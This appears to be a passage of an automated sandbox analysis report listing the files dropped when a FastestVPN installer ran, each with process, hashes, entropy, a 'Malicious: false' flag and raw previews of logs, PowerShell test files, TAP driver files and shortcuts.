                                                                                                                C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FastestVPN.WindowsService.exe.log

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe
                                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                                Category:modified
                                                                                                                Size (bytes):1803
                                                                                                                Entropy (8bit):5.3407719505798275
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:48:MO8mH2HKlIHoVnM6YHKh3oPtHo6hAHKzeEHKKHKx1qH6HKmTH3:fWqlIIVM6Yqh3oPtI6eqzPqKqxwaqqX
                                                                                                                MD5:077007B5E9C8A61A51283FAC0B0B1260
                                                                                                                SHA1:F9EABAC9D0664999C4D46AEB57C99D9041FD7F49
                                                                                                                SHA-256:DD99B5C1E5B54D11E9BE692C4201D18FC5CF4764B5EFFA232EFF142617F9EA2A
                                                                                                                SHA-512:007E65ABAA38E36B0DD4DD58EDFFDD4538B0F6D269F7067FEED2176DE1971EACF39E0E4BCF4365A383765C1DD49DDD2BFFA044EF94A8B50BB4270A17B74411FF
                                                                                                                Malicious:false
                                                                                                                Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.ServiceProcess, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Confe64a9051#\48ee4ec9441351bbe4d9095c96b8ea01\System.Configuration.Install.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.X

                                                                                                                C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FastestVPN.exe.log

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):1785
                                                                                                                Entropy (8bit):5.341273156781821
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:48:MxHKlYHKh3ouHgJHreylEHMHKo1AmHKntHo6hAHKzeR:iqlYqh3ou0aymsqu/qntI6eqzm
                                                                                                                MD5:595CF857FACB9D100C163C39E2F2FE08
                                                                                                                SHA1:BD30AB70391652932B3BE7EF5D84A9B4C617B7FF
                                                                                                                SHA-256:A2E82A1EA4819A2C30BB6C841870CDA86A8DF0DF1B7ED5D18DC707F1B3962995
                                                                                                                SHA-512:A583D205C967908D847EC7EAD1ED1E039E9BAE253406690D71E621108189374E15E4BAE206C492D85E971EEBD18B8B7A621D686802B4D57126DDB4A1CFFE2ADA
                                                                                                                Malicious:false
                                                                                                                Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\WindowsBase\4d760e3e4675c4a4c66b64205fb0d001\WindowsBase.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\17470ef0c7a174f38bdcadacc3e310ad\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\

                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                Download File
                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                File Type:data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):64
                                                                                                                Entropy (8bit):0.773832331134527
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3:Nlllul2t:NllU
                                                                                                                MD5:0B1B8E17F797EF2950061461C7171DD2
                                                                                                                SHA1:7A2E520E732C1A3A00416C73070BB0D241DA6C16
                                                                                                                SHA-256:E0DC80903C4BADE9E2CE430894D4FE236D2A2C786356E4AC4071E59493736E26
                                                                                                                SHA-512:B04D2DE1BC0BF7825107727FA2546ACFD29EBC80245F6657212A9B4AB3C5544EDCAFE9080EE054B23AE4EAB06CD3BB564718A1DB4052F3ECD4195F1E06E4FE82
                                                                                                                Malicious:false
                                                                                                                Preview:@...e...........................................................

                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2t1nrbij.14v.psm1

                                                                                                                Download File
                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):60
                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                Malicious:false
                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3n5gvnhq.5x5.ps1

                                                                                                                Download File
                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):60
                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                Malicious:false
                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gspfy1z4.f5e.psm1

                                                                                                                Download File
                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):60
                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                Malicious:false
                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o5f3nv3d.iee.ps1

                                                                                                                Download File
                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):60
                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                Malicious:false
                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                C:\Users\user\AppData\Local\Temp\is-MT41M.tmp\_isetup\_setup64.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):6144
                                                                                                                Entropy (8bit):4.720366600008286
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
                                                                                                                MD5:E4211D6D009757C078A9FAC7FF4F03D4
                                                                                                                SHA1:019CD56BA687D39D12D4B13991C9A42EA6BA03DA
                                                                                                                SHA-256:388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
                                                                                                                SHA-512:17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\Desktop\mapMd1URzq.exe
                                                                                                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):3045888
                                                                                                                Entropy (8bit):6.41066353205617
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:49152:pdJYVM+9JtzZWnoS2VC23aun8+f5KuGP+VYNCWNtdH333tQ:PJYVM+LtVt3P/KuGP+VYNCuf333i
                                                                                                                MD5:259E3EE4646FC251C3513EEF2683479F
                                                                                                                SHA1:BE09457567F0562E8942A28BD90759F6DCE6DCB5
                                                                                                                SHA-256:BD9F32A9B7B9663A3AFDD1DC0CCC3D6423783B360DB341691FE2FE71C543EC53
                                                                                                                SHA-512:56607419EF2E2F98A8DAA6478DEA4B49925F4A17AB649E450F34331490281E2FCF976F17813F1A80FA460EE258C02901528A43B508093098135C1FADB5902B24
                                                                                                                Malicious:false
                                                                                                                Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....gf..................*...........*.......*...@..........................P/...........@......@...................P,.n.....,.j:....,.$....................................................p,.......................,......@,.(....................text.....*.......*................. ..`.itext..$.....*..0....*............. ..`.data.........*.......*.............@....bss.....|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.rsrc...$.....,.......+.............@..@.............`0......./.............@..@........................................................

                                                                                                                C:\Users\user\AppData\Local\Temp\{7287f939-a023-4a42-8efe-c3ab39b8505a}\SETCF4F.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe
                                                                                                                File Type:Windows setup INFormation
                                                                                                                Category:dropped
                                                                                                                Size (bytes):7537
                                                                                                                Entropy (8bit):5.046488463217706
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:wr8tW9yCTi3K4vlQd22bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGMdkxzo3DcNSj6jvKFkinuEQTXvzq
                                                                                                                MD5:50D29CA2E3DDB8A696923420EC2AC4FA
                                                                                                                SHA1:D85F4E65FE10F13DED1780DDBD074EDFC75F2D25
                                                                                                                SHA-256:817DFF7F4944A255A0A33B8D74EB60A755D8D268CC7AFD46FCE41E102E0A004B
                                                                                                                SHA-512:03778A9CDDD23639C88E24BB5D0446DA3A400BB6B3321FB35887CD23D88D0F7AD3FE911642CC7F8D16D29CD9E42106851B0028379E8DBCB3C6721C238FC4A0D3
                                                                                                                Malicious:false
                                                                                                                Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                C:\Users\user\AppData\Local\Temp\{7287f939-a023-4a42-8efe-c3ab39b8505a}\SETCF70.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe
                                                                                                                File Type:data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):10711
                                                                                                                Entropy (8bit):7.2254581318251425
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:PqDhDNF748XJCO39JnxrEwJqKkhYCxXA6qnaj/rHr:OXPJxXxkh3xXhlzX
                                                                                                                MD5:225E7BA0E5E2D46813E5C858A4D0D5B0
                                                                                                                SHA1:5DD49014764F634164520583FD0CEC87AB1A1625
                                                                                                                SHA-256:B0BAF5CB84FA4ACB34B77A6231052061DA6B8676D216833724B7A602622161FB
                                                                                                                SHA-512:9C77ADF7E71ACA94489DFEB536F796A017B7C05771962274BAE2C614E2AE6799CCEB36CC58AC470184C37F52DEAC75988BB14E6A329F432C6D7CEDBCA18272A8
                                                                                                                Malicious:false
                                                                                                                Preview:0.)...*.H........).0.)....1.0...`.H.e......0..M..+.....7.....>0..:0...+.....7..........dG.'$....g..191023085812Z0...+.....7.....0..T0.... .}..ID.U..;.t.`.U..h.z.F.......K1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .}..ID.U..;.t.`.U..h.z.F.......K0....._Ne...=.....N.._-%1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0.....D.......L..S.4..b.1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... .?;..{.x....H..4...k).VB.......1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... .?;..{.x....H..4...k).VB...........0...0....+.

                                                                                                                C:\Users\user\AppData\Local\Temp\{7287f939-a023-4a42-8efe-c3ab39b8505a}\SETCF80.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe
                                                                                                                File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):39920
                                                                                                                Entropy (8bit):6.333649052940754
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:bCxLEO/+ApBG35KBOXZZoZmTD11a+uiExMFYQjdJxh63NOe:tCI46F1a+jExMFFjzv69
                                                                                                                MD5:059E578D456043A8C3B76EC365B375F3
                                                                                                                SHA1:42189B6A1B8C736397113BFC2283F5E1E1A44E8E
                                                                                                                SHA-256:A0170CF78105CE757E0549D79E4AE7C412240E8B81D262A24D76A047F181F881
                                                                                                                SHA-512:99E6B6AF018D0E3509D9DBE00301A7D5D6645A2070A8144ACFF04842F8BBACCD81E7651578D08F47639CD2B7D00EB64ACDDFA8725BCE9A073580B7FCF7964E6A
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......].........."......Z.....................@....................................P.....`A....................................................<.......X....p..H....x...#...........R..8............................S...............P...............................text...W>.......@.................. ..h.rdata..|....P.......D..............@..H.data........`.......P..............@....pdata..H....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                                                C:\Users\user\AppData\Local\Temp\{7287f939-a023-4a42-8efe-c3ab39b8505a}\oemvista.inf (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe
                                                                                                                File Type:Windows setup INFormation
                                                                                                                Category:dropped
                                                                                                                Size (bytes):7537
                                                                                                                Entropy (8bit):5.046488463217706
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:wr8tW9yCTi3K4vlQd22bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGMdkxzo3DcNSj6jvKFkinuEQTXvzq
                                                                                                                MD5:50D29CA2E3DDB8A696923420EC2AC4FA
                                                                                                                SHA1:D85F4E65FE10F13DED1780DDBD074EDFC75F2D25
                                                                                                                SHA-256:817DFF7F4944A255A0A33B8D74EB60A755D8D268CC7AFD46FCE41E102E0A004B
                                                                                                                SHA-512:03778A9CDDD23639C88E24BB5D0446DA3A400BB6B3321FB35887CD23D88D0F7AD3FE911642CC7F8D16D29CD9E42106851B0028379E8DBCB3C6721C238FC4A0D3
                                                                                                                Malicious:false
                                                                                                                Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                C:\Users\user\AppData\Local\Temp\{7287f939-a023-4a42-8efe-c3ab39b8505a}\tap0901.cat (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe
                                                                                                                File Type:data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):10711
                                                                                                                Entropy (8bit):7.2254581318251425
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:PqDhDNF748XJCO39JnxrEwJqKkhYCxXA6qnaj/rHr:OXPJxXxkh3xXhlzX
                                                                                                                MD5:225E7BA0E5E2D46813E5C858A4D0D5B0
                                                                                                                SHA1:5DD49014764F634164520583FD0CEC87AB1A1625
                                                                                                                SHA-256:B0BAF5CB84FA4ACB34B77A6231052061DA6B8676D216833724B7A602622161FB
                                                                                                                SHA-512:9C77ADF7E71ACA94489DFEB536F796A017B7C05771962274BAE2C614E2AE6799CCEB36CC58AC470184C37F52DEAC75988BB14E6A329F432C6D7CEDBCA18272A8
                                                                                                                Malicious:false
                                                                                                                Preview:0.)...*.H........).0.)....1.0...`.H.e......0..M..+.....7.....>0..:0...+.....7..........dG.'$....g..191023085812Z0...+.....7.....0..T0.... .}..ID.U..;.t.`.U..h.z.F.......K1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .}..ID.U..;.t.`.U..h.z.F.......K0....._Ne...=.....N.._-%1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0.....D.......L..S.4..b.1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... .?;..{.x....H..4...k).VB.......1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... .?;..{.x....H..4...k).VB...........0...0....+.

                                                                                                                C:\Users\user\AppData\Local\Temp\{7287f939-a023-4a42-8efe-c3ab39b8505a}\tap0901.sys (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe
                                                                                                                File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):39920
                                                                                                                Entropy (8bit):6.333649052940754
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:bCxLEO/+ApBG35KBOXZZoZmTD11a+uiExMFYQjdJxh63NOe:tCI46F1a+jExMFFjzv69
                                                                                                                MD5:059E578D456043A8C3B76EC365B375F3
                                                                                                                SHA1:42189B6A1B8C736397113BFC2283F5E1E1A44E8E
                                                                                                                SHA-256:A0170CF78105CE757E0549D79E4AE7C412240E8B81D262A24D76A047F181F881
                                                                                                                SHA-512:99E6B6AF018D0E3509D9DBE00301A7D5D6645A2070A8144ACFF04842F8BBACCD81E7651578D08F47639CD2B7D00EB64ACDDFA8725BCE9A073580B7FCF7964E6A
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......].........."......Z.....................@....................................P.....`A....................................................<.......X....p..H....x...#...........R..8............................S...............P...............................text...W>.......@.................. ..h.rdata..|....P.......D..............@..H.data........`.......P..............@....pdata..H....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                                                C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\FastestVPN.lnk

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Icon number=0, Archive, ctime=Thu Oct 3 07:17:32 2024, mtime=Thu Oct 3 07:17:35 2024, atime=Thu Jun 27 19:18:16 2024, length=2059432, window=hide
                                                                                                                Category:dropped
                                                                                                                Size (bytes):1771
                                                                                                                Entropy (8bit):3.2233610985090104
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:24:83WljdU58XIcJLAsFd/Z6d/nd/VkIbfd/Vu1m:8adU54TJ8sFd/Z6d/nd/Vkcd/VO
                                                                                                                MD5:0C3AD01631CAE1AD82004A3812A2F1CE
                                                                                                                SHA1:00B9F10F27E43D3E1D4753560683A7D0700DA070
                                                                                                                SHA-256:4F86A29332D588630975B5B6E8CEF05AF8404E412A3E22B6ABD59CBD0BE944BE
                                                                                                                SHA-512:93D5487ACE9097417E30BB44AC4FA776BFDD14593457BFF9DC7BC284D58FFBA3AAF41AC43B9FDD6820D0CB14C80FE592E2560BF226FDB190AB7C1D2238F439C1
                                                                                                                Malicious:false
                                                                                                                Preview:L..................F.@.. ......l...I..l......$.....l...........................P.O. .:i.....+00.../C:\.....................1.....CY1B..PROGRA~1..t......O.ICY2B....B...............J.....u...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....^.1.....CY2B..FASTES~1..F......CY1BCY2B..........................l.j.F.a.s.t.e.s.t.V.P.N.....j.2..l...XH. .FASTES~1.EXE..N......CY1BCY1B..............................F.a.s.t.e.s.t.V.P.N...e.x.e.......Y...............-.......X...........<>.......C:\Program Files\FastestVPN\FastestVPN.exe..<.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.\.F.a.s.t.e.s.t.V.P.N...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.(.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.\.a.p.p.-.i.c.o.n...i.c.o.........%SystemDrive%\Program Files\FastestVPN\app-icon.ico...............................................................................................................................

                                                                                                                C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2LV1WBF4UKQ311L6U268.temp

                                                                                                                Download File
                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                File Type:data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):6224
                                                                                                                Entropy (8bit):3.7251592055674623
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:48:T3DWl8tEO3CyGU2LxNukvhkvklCywU0RCqlHJ9SogZoEURCqlL9SogZow1:fQO3C4gSkvhkvCCtJRCqoHKRCqGHP
                                                                                                                MD5:880819DCDA4F92FFEA3372D87A52A27E
                                                                                                                SHA1:C6EB3FDF95791F525F8537FFDCC93FD384915D12
                                                                                                                SHA-256:F520EF5582168B8D0D7BBC2096372A6AD164A9B9AB8C75EC47338D2906C494E7
                                                                                                                SHA-512:7978714C8B5486D13EFDBED861A862DFEB445AB9A8FDA18BA46709707C5C31B90DA365D69B0D15CB0C2BCDA85395039323EDF77543F6A14B85A030C9871094A0
                                                                                                                Malicious:false
                                                                                                                Preview:...................................FL..................F.".. ...J.S...8r..l...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S.... .l...}l..l.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2CY"B...........................^.A.p.p.D.a.t.a...B.V.1.....CY.B..Roaming.@......EW<2CY.B..../......................1..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2CY.B....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2CY.B....2.....................j...W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2CY.B....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2CY.B....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2CY3B....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2CYDB....u...........

                                                                                                                C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                File Type:data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):6224
                                                                                                                Entropy (8bit):3.7251592055674623
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:48:T3DWl8tEO3CyGU2LxNukvhkvklCywU0RCqlHJ9SogZoEURCqlL9SogZow1:fQO3C4gSkvhkvCCtJRCqoHKRCqGHP
                                                                                                                MD5:880819DCDA4F92FFEA3372D87A52A27E
                                                                                                                SHA1:C6EB3FDF95791F525F8537FFDCC93FD384915D12
